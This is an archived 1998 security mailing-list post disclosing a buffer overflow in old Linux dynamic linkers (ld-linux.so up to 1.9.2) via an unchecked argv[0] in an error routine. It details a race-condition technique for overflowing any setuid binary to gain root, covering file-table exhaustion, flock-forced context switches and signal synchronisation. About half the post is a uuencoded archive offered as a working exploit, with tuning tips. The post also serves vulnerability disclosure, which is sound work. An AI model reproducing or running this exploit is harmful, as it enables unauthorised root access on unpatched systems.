X-RDate: Thu, 05 Feb 1998 12:17:31 +0500 (ESK)
Date: Wed, 4 Feb 1998 17:20:39 +0100
From: Rafal Wojtczuk <[email protected]>
To: [email protected]Subject: An old ld-linux.so hole
Section I. Overview
Hello,
About a half year ago there was some rumour on bugtraq concerning a buffer
overflow in Linux dynamic linkers, ld.so and ld-linux.so. You can take a look
at the beginning of the thread at http://www.geek-girl.com/bugtraq/1997_3/0089.html
to refresh old memories; I'll capitalize anyway.
Briefly, there exists a buffer overrun in ld-linux.so versions 1.7.14,
1.8.2, 1.9.2 ( others <=1.9.2 probably too, I haven't tried ) . It occures
in the procedure which formats an error message. The said procedure puts
into a buffer argv[0], not checking its length. So, if we can force an error
during dynamic linking of a suid program, we can smash the stack with
argv[0] contents and gain extra priviledges. I haven't found anything on the
net exploiting this vulnerability; as we'll see, it's not a trivial task. Worth
an effort, though; enables us to rip a root shell out of any suid dynamically
linked binary on the system ( sounds promising, doesn't it ).
At the end of this message I enclosed a working exploit. Use it thougtfully.
Anyway, it's a half-year-old hole, and everybody who installed latest
version of linkers ( that is at least 1.9.5 ) cannot be hurt.
I hope the enclosed exploit is interesting enough ( from theoretical point
of view ) to be worth publishing, regardless of its being fairly outdated.
Section II. Misc.
1) the said faulty procedure ( was it named fd_printf ? ) was copied almost
verbatim from kernel function printk. In linux/kernel/printk.c line 161 we
can find a tasty comment
i = vsprintf(buf + 3, fmt, args); /* hopefully i < sizeof(buf)-4 */
In this case, buf is a static variable. In ld-linux.so buf is automatic.
Oops...
2) as you surely know, ld-linux.so 1.9.2 is broken completely, as it deals with
LD_PRELOAD variable even when linking a suid binary. An exploit based on this
"feature" was composed by Dan McGuirk, I guess. In this article, we're not
using this vulnerablity.
3) Julian Assange ([email protected]) mentioned on bugtraq that he was able
to attack the linker with resource starvation ( for file descriptors ). I
assume it was possible on a system with artificially lowered file descriptors
limit; you can look at his a bit vague report at the URL mentioned at the
beginning of this article. Anyway, the only thing in his article that
resembles my approach is the keyword "resource starvation". Judge it
yourself.
Section III. General idea.
To perform its job, dynamic linker must open a library file first. Let's try
to prevent it.
Section III.V :) Scenario 1.
Before execing a suid program, we can use up all file descriptors
available for a single process by simply opening any file 256-3 times (
descriptors 0,1,2 are open anyway ). But execve needs one unused descriptor to
work - execve will fail, not giving ld-linux.so a chance to misbehave.
Section IV. Scenario 2.
We may create a race condition, gambling on the number of free file table
entries.
First, let's spawn 3 processes ( called eat_desc ) which will use up 256
descriptors each and sleep. Then we spawn simultaneosly another eat_desc and
a program (called spawn.c ) which executes
execl("/usr/bin/passwd",long_argv0,0).
Of course we can utilize any other dynamically linked suid binary. Assuming
that file table has 1024 entries ( default value ) the following scenario is
possible: spawn.c executes /usr/bin/passwd. Immediately afterwards, a context
switch occures, and the fourth eat_desc starts executing. It devours all
remaining file table entries and goes to sleep. Another context switch and
/usr/bin/passwd (formerly known as spawn.c ) executes. Dynamic linker cannot
open /lib/libc.so.5 ( error: file table full ), cooks an error message,
an overflows occures. Great. However, a standard shellcode is of no use in
this case: we can't exec anything ( there is still no file table entries
free ! ). Instead of giving up after first unsucesful exec, shellcode should
first kill one of eat_desc processes, and then in a loop infinitely try to
execute the program we wish to.
This scenario is possible to accomplish ( I managed to once :) . Yet, it's
ineffective. We can complicate it, assuring practically 100% success ratio.
Section V. Scenario 3.
Let's try to force a context switch immediately after spawn.c calls exec.
spawn.c should open a file (called .lock ) receiving descriptor lock_fd and set
a close-on-exec flag on it. Then spawn.c executes flock(lock_fd,LOCK_EX).
Another program ( called noloop ) opens .lock and performs
flock(noloop_fd,LOCK_EX) as well ( and goes to sleep). We also spawn a program
called eat_time, which simply does for(;;);, generating some load on the
machine.
A great moment occures: spawn.c does execl("/usr/bin/passwd",long_arg0,0).
As some load on the machine is imposed by eat_time, system call exec ( which
is time-consuming) should use whole time quantum available for spawn.c ( now
this process is passwd ),so a context switch is bound to happen. (If the
attacked machine is extremely fast, we may need to spawn more then one eat_time
to achieve this ). Noloop starts excuting. Spawn.c closed the descriptor
lock_fd during exec it performed, so noloop can get out of flock it was
sleeping on ( but not before spawn.c did exec - that's the trick). Now it's the
time to devour all remaining file table entries. When control returns to
passwd ( formerly known as spawn.c ), dynamic linker will generate an overflow.
The rest resembles Scenario 2.
Section VI. Additional notes to scenario 3
a) the whole scenario should be performed after we have used up almost all file
table entries. 3 eat_desc should be spawned first, the fourth should devour
all minus three entries.
b) when noloop decides to eat remaining file table entries, it should first
send SIGSTOP to passwd ( formerly known as spawn.c ). Then it can eat, not
fearing a context switch. Finally, it sends SIGCONT to passwd.
c) some synchronizing between noloop and spawn.c is neccessary - the latter
should't exec /usr/bin/passwd before noloop has slept on the flock call. In my
exploit it is done using signal SIGUSR1. Look at the code for details.
d) scenario 3 won't work for linker version 1.7.3, which at the start does
open("/dev/zero",O_RDONLY). It fails, but generated error message doesn't
contain argv[0], so no overflow this time. Scenario 2 can work: context switch
to the fourth eat_desc should happen after open("/dev/zero",...) call.
Section VII. The exploit.
Standard disclaimer applies.
Probably it works best on an idle machine. More precidely, during the exploit
execution the number of free file table entries should not be modified by any
process other than eat*, noloop, spawn. You may need to change some
default parameters, for instance the number of eat_time processes or eat_desc
(the latter if your kernel file table size is greater then 1024 or the limit of file
descriptors per process is less than 256 ). If the exploit doesn't work, you
may experiment with DEFAULT_OFFSET in doit.sh
Section VIII. Traditional closing unrelated mumbling
One simple conclusion from the above musings - no buffer overflow is
harmless.
As usuall, I encourage any comments ( to be sent to [email protected] ).
I remind you that I'm still an unemployed student, which should be changed :)
"That's all for now.
I hope I managed to prove that exploiting buffer overflows
should be an art."
by now you should know this quotation.
Save yourself,
Nergal
begin 644 linker-exploit.tgz
M'XL(`%F2V#0``^U:_U/;RA'/K]9?L3%)8Q,A)'\#XOA-"9@,TP280.8U#:E'
MED[V!4FGT4G8;B?_>W?O)&,"/%Y?!Y*VVDF0O+>WM[?:V_W<2;[@F26G3QZ2
M'-O>ZG;A"4"WM]4KKAVZ:MIJVP"]3J_GV%VGUP%PG':O_03L![6JH%QF;@KP
M))TYW6V[T[E++N(R<I,[F_];:>WIYIC'FW)J[`\/=C^^.QL='QR<#L\&MI&)
MW)N"%0KOPK`VF9N-,AXQ^)-Q=OA^.#HYW!\\>VJL`0]@(?(4(M>;\IC1[TN6
M+B!P969"'GLBBEB<039E$(@P%#,>3R!$46/MFEK]PV?2PQ\G#FFW-F7BSF)X
M=N+`L^L&HLSIR>ZO1R3V7=>6[KK*:M]D=>XP7VKS)1IZG_DR9"P!QV#>5,!A
M`+'(IM0Z=9.$Q1+E4W!A-N4A,X'-DQ`7&_H%?_HF)"F3$O:R--S80]-B$0J1
MP#,U*>."AR%L[-#$^U?WK97[]LI]YTJ^?#:_]_F7'K&\AXLQ7/^]3N?N]=_K
MZ/7?;3EV:\NA];^U5:W_1Z$U'GMA[C-X+3.?"VOZBW'%RF..W.N\P(NSD%C&
MFL\"6C&[1Y]&'X:[^[MOW@U'!X?OAE#?9)FWF;A2SORZ$;D\;C2-?QHUCNN(
MF_#5A(N^4:/5T>`P@'8?.+R&5K>+-R]?-HU:#5=EH_$5VP0NI,:-$4PX'GW8
M/SYZ]ZG9A,$`-IPFH/Y:+4A2'"1HH-DL34VH/^=0-X$W^]2:($^DC7I=_Z1!
MO%!(UKAHTJ!7`HI[4PHVP+E-LG6K:.LVT78AFK@YBJG[;\!"R8AY@1/^BJQE
MXS?CH9]_F7]_Y/J'5D^O?Z=GM]MMO?X[U?I_#+I:G&HY]ON/$G45_2P4N1=,
M/O`8]^'_EN,4]=_NM;IJ_>-.H%K_CT%7^'^-S3TL.X!8'%&L!"Q;4L1N"&H?
MH#%NG/NY-"'+TX3C-<FSE"L.`@$LN$Q+N1Y+Q\3U4BV?NDFF?HLX8U&2<:$`
MJXN85<->@_L_VA'_IZ3]_Y#5_][Z[SC=*_S?:745IVM7Z_\QZ-_&_Y)/,"G\
MIWL"XU)P'PA\8A+0^$-MDZ%Q+^"'7\!6($7K0'L0\3=H:S$G/<A7F(88;CKQ
M,.M,\0&OK^./R^4N)`C[^B9!%0-P,\$;)/#9^=+LP^:ZXHL`U/&#Y<'ZIE'3
M,V^<'KX]/#HSBX$)P0=AN5&IJ].2^HJU-`SN"E#D]0#M5KN4<D-`7?1V@,UY
MUG#H]IM1H]38P/%-P*$^GGYP]!BH&-68\.YX[R^CX5]+S=>D3\^.3]2NHQP"
MC9292-0H2V_?UG/O^.CL^YZ4KE7/<C]"CIDQF+`,J#/S8;R`,I,'J8C`VE2`
M`@0=J,0Y\A?DNPI1_JQ4!/B#CD'YW[;OS/\=N]==GO^V;)7_VUNM*O\_!JWF
M_Y3'DSL2^V^6B:N2<"W_GWX\W,>TG\M40<QEZB]EWGP\.!A^&)T>_FU8J]6<
MEFTOFX9OWY;\EMW97O*/CD_H1,6>[]B&H?(Z91\T>R2G+`P]X;//7V!@U,_G
M;>=\[MGG\^T=O#K%M7T^'R.OU3V?]WIX/SZ?N\'YW&[A/<K8.W7JZODHCF(,
MFYWM\WF7Z>Y;V,7>7E&-]QWB;>EV=>_1$$J-/=;L`$?=1I4=IKO3?;<070Z%
M?(9R05#^+S)IO6]@TE44NPC-L2;12722BLF$,\K&,Y=.IP6,&;`Y\_(,T_*,
M9U-@.?<'B*S@[YHH$1MY3$\+14(13RB3CYA,&E1)56T<C5P9C4:->B0N0WB.
M;>9SYL[K*P47^Z"*:P57\7V!-4S76G$YSH.56OO'RJ.2O5D>[email protected]>
M'>R;H)IB[K&&LZ.K5,BR%Q(F_))!+B$2*2,8$'M8FJB4WUI-KX[D<G6PW\"\
M91/4J*%"<KH[%J@O+-X2Q,Q#==)-%^3]0*0>2M`;`);JC<X\`XD/PIL"C\%S
MZ8B/GJ(^YY^Z,GZ1H=-066&-;Y;&P()E1FU]$\6Q;.-##1OE@C)!.=>$>BI$
MAJXL#"3S4PR0#'=M9(_J!=J:#&<."MW87_"*+HEYE(@TH\B935D,C%YYJ'<7
M1FTBT$DS7$U]>C<R%3-J!"DB%74T96P/4L8T+R#4EKEC_,MB3"'8:-3<`.V@
MX)RZZ#$U23((=XPJ"9`/+^A%R8Q>6\@<'<G\OK:SC&B>H1Z<""J*>.QFZ/,H
M8C['NW"AG&,L(T5/5K]8T5"G#)AO19I`EP6?5Q+.E[[FL\GD<YELD*<C^7?@
MQW77]]-1DJ4FT-T5F#2!HYH5K$@`SBP639.:;D6<^A'BW"/A\V`!]$9JF=((
M9?%8LC0CGZ%7*`%H?+I\H87#"^TSBF]:4T\;-W.C@P$P4'V?0ZO;:Q8+3I^9
MU__!4D&QBNVWK#MM-_W=I+[]WQC%^>.CD#>Q<YF8FK"QXJI6`<YE/L9JY7K*
M'X+.$^B<0@2!1&1*\R_'^BA)@G1BV+X">_Y\?A[7]3,K5$U%'OKXC)EWH=[7
MV9@WT#JN%&E[Z#FC32HDUILJEE9?7]CZ]<5*=!'CY0`ZA*?7&Z6*ER^;].!U
MN'P?D/1JX8M2AH-&+,*9-#`X32IYYK(>DI-PYEZRH$9XN6S`[L@/,<?>>!SD
M0HS`FWRM*RZ4849!90-T3D<E0ZPC\24UJ*!5R9ULKHZ'_[>(=MGOAP\[QCWG
M/ZU6URGP/]$6XG][JU>=_SP*#<NO$C";A?X&IHA\;DD!CK5E.1U"95C])298
MNG6L':ME[.;95*2O$`"E$S?\,_<BB_FYE83&&9T;JXJ%UXA1&2>]V.JY19)V
M8Y]P`M8R++*4G),\301!"A&'"\OX)'+$2C'XG/8CXYSJ?J;@1K@@_'')?02O
M7HI((),*S!#(BRW#V!-1HK`(5L<]Q"9Y2FA/'67/W(5!AG#*[,N2N?STI(!D
M^E.3/L(5F'@>;`AXQO&?Y2E>S`RR/<UCA70M.;7@!%$X@J[EJ8>",S=P.`$U
M-)U?$CR9,(FV*D<A!@L9?5NB?$.($%R0(9],"3.[,\S;"`B*`E6H+&W5`,L-
M0YP70H7EG!3>FA#>0CB@4*P%IS0O<G6Y<4"3I3ZN(8XJ"(;T4IX0'F4*E[)8
MYBGYTLTL>,,R!>=<A71]A3/0?NTO.OJYKM0U<+M'L)C\I0QB+H+@I8T:&P$]
M/\2L^ML:-RN43H2RM#`>&@:%!=D9E\)EQ4:(C<'*H&G!)Y:9X.>IZLHD*D9E
M,^5/-`VA::2B"W61AU&*OL=9?N4#8S$W,6#@$"Y8DNF045Z!PBL;&(X^N:78
M:QD>QEK(/4*EY$(5\@B38[730(\+L_BN"%+F,=J%**0*UY#J*X6=#8V=@SP,
MZZI'1&[6FXJKKX^,\E,CO?N(U;!%'!IOSGXU-8ZG_G0ZAPM(#QC1#F7"](/1
MX-M44K3&U"@T65<#?LLX#.Y10<,2>&>I4O,"8T1B8*;+9BZ-XD,GRWA?]`SY
M!8-ZRVZM;A9P*Y7BQF=65WLID48N[L:XVK4QS"QNIDX7C>7W23\Z45944445
M551111555%%%%5544445551111555%%%%5544445551111555%%%%554T4]$
*_P*/#@->`%```%54
`
end